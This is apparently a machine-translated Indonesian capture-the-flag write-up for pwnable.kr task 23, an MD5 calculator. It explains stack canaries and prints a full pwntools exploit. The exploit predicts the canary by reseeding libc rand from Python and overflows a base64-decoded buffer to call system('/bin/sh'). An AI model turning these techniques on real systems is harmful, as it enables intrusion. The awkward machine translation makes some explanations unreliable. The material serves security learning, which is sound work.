Pemecahan masalah dengan kalkulator pwnable.kr 23 - md5. Kami berurusan dengan Stack Canary. Menghubungkan C library dengan python

gambar

Pada artikel ini, kita akan menyelesaikan tugas ke 23 dari situs pwnable.kr , cari tahu apa stack canary itu dan sambungkan libc dengan python.

Informasi Organisasi
Terutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:

  • PWN;
  • kriptografi (Crypto);
  • teknologi jaringan (Jaringan);
  • membalikkan (Reverse Engineering);
  • steganografi (Stegano);
  • pencarian dan eksploitasi kerentanan WEB.

Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.

Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat saluran di Telegram dan grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi secara pribadi dan akan menjawab semua orang .

Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.

Stack canary


Kenari adalah nilai-nilai yang diketahui yang ditempatkan di antara buffer dan mengontrol data pada stack untuk memantau buffer overflows. Setelah buffer overflow, data pertama yang rusak biasanya adalah kenari. Dengan demikian, nilai kenari akan diperiksa dan, jika pemeriksaan gagal, sinyal buffer overflow. Ada tiga jenis kenari:

  1. Terminator. Canary dibangun dari terminator nol, CR, LF dan -1. Akibatnya, penyerang harus menulis karakter nol sebelum menulis alamat pengirim untuk menghindari mengubah kenari. Ini mencegah serangan menggunakan strcpy () dan metode lain yang kembali saat menyalin karakter nol, sedangkan kenari dikenal tidak diinginkan.
  2. Acak Dibuat secara acak. Biasanya kenari acak dihasilkan selama inisialisasi program dan disimpan dalam variabel global. Variabel ini biasanya dilengkapi dengan halaman yang belum dipetakan, jadi mencoba membacanya menggunakan trik apa pun yang menggunakan kesalahan untuk membaca dari RAM menyebabkan kesalahan segmentasi untuk menghentikan program.
  3. XOR acak. Kenari acak yang bertengkar dengan data kontrol. Dengan demikian, segera setelah kenari atau data kontrol tersumbat, nilai kenari akan salah. Mereka memiliki kerentanan yang sama dengan kenari acak, kecuali bahwa metode โ€œbaca dari tumpukanโ€ untuk mendapatkan kenari sedikit lebih rumit. Penyerang harus menerima kenari, algoritma, dan data kontrol untuk meregenerasi kenari asli yang diperlukan untuk memalsukan perlindungan.

Solusi pekerjaan kalkulator MD5


Kami melanjutkan bagian kedua. Saya akan segera mengatakan bahwa ini lebih sulit daripada yang pertama dan kami tidak diberi kode sumber aplikasi. Jangan lupakan pembahasannya di sini . Mari kita mulai.

Klik pada ikon dengan kalkulator md5 tanda tangan. Kami diberi alamat dan port untuk menghubungkan dan program itu sendiri.

gambar

Unduh semua yang mereka berikan kepada kami, periksa binernya.

gambar

Ini adalah elf 32-bit dengan canary yang terpasang dan stack yang tidak dapat dieksekusi. Kami mendekompilasi dalam IDA Pro.

gambar

Program ini memiliki pemeriksaan captcha bawaan. Kami melihat dua fungsi yang merupakan fungsi yang menarik: my_hash () dan process_hash (). Mari kita mulai dengan yang pertama.

gambar

Mari mendefinisikan kembali tipe variabel dan membuat kode lebih mudah diurai:

gambar

Dengan demikian, fungsi akan mengembalikan beberapa angka acak. Pada saat yang sama, v3 adalah data di alamat EBP-0xC. Mari kita lihat fungsi lain.

gambar

Di sini, variabel v4 mendapatkan nilai di alamat EBP-0xC, dan kemudian bertengkar di pintu keluar dari fungsi dengan nilai ini. Selanjutnya, 512 byte dialokasikan untuk variabel v3, input keyboard dibaca ke dalam variabel g_buf. Setelah itu, string dari g_buf didekodekan di Base64 dan ditulis ke v3. Dari v3 md5 hash dihitung. Jadi, input ke g_buf dan menyalin ke v3 tidak terbatas, oleh karena itu ada buffer overflow! Mari kita lihat tumpukannya.

gambar

Variabel v3 adalah stack canary yang terletak setelah buffer. Program ini juga memanggil fungsi sistem. Baiklah, kami akan membuat templat untuk dieksploitasi.

from pwn import * p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) p.interactive() 

Untuk mulai dengan, mari kita lihat muatannya. Kita harus memanggil fungsi sistem dengan parameter "/ bin / sh". Tetapi karena stack tidak dapat dieksekusi, kita akan memanggil fungsi sistem, meneruskan kontrol ke alamatnya di program, dan sebagai parameter, alamat ke baris โ€œ/ bin / shโ€, yang akan kita tulis ke g_buf.

Jadi (lihat tumpukan): Anda perlu menulis 512 byte sampah, lalu 4 byte nilai kenari, lalu 12 byte sampah lainnya. Sekarang untuk ret kita harus menentukan alamat fungsi sistem (4 byte), alamat string "/ bin / sh" (4 byte), dan string "/ bin / sh" itu sendiri.

Sekarang temukan yang tidak diketahui: alamat panggilan sistem.

gambar

Ini adalah 0x8049187. Dan alamat string adalah "bin / sh". Untuk melakukan ini, kita perlu menambahkan jumlah byte ke alamat g_buf ke baris "/ bin / sh", dengan mempertimbangkan pengkodean base64 - ini adalah 4/3 dari nilai asli.

gambar

Yaitu, alamat baris: 0x804b0e0 + (512 + 4 + 12 + 4 + 4 + 1) * 4/3 = 0x804b3ac. Ganti payload.

 payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00" 

Masih menemukan kenari. Saat kami mengetahuinya, ia merangkum dengan nilai acak dalam fungsi my_hash (), yang hasilnya memberi kami kenari. Dan srand (waktu (0)) digunakan sebagai seed untuk fungsi rand. Yaitu, jika kita mengulangi prosedur dalam exploit kita, dan kemudian mengurangi nilai yang dihasilkan dari cookie yang dikirim, kita akan menemukan kenari. Panggil rand () dari libc dengan python.

 from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff 

Itu saja. Kode lengkapnya terlihat seperti ini.
 from pwn import * from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00" p.sendline(payload) p.interactive() 

Saya menjalankannya beberapa kali dan tidak berhasil, kemudian saya menyadari bahwa karena kecepatan Internet dan perbedaan waktu, hasil rand () tidak cocok. Diluncurkan di server.

gambar

Kami mendapatkan bendera yang diinginkan. Anda dapat bergabung dengan kami di Telegram .

Source: https://habr.com/ru/post/id467485/


All Articles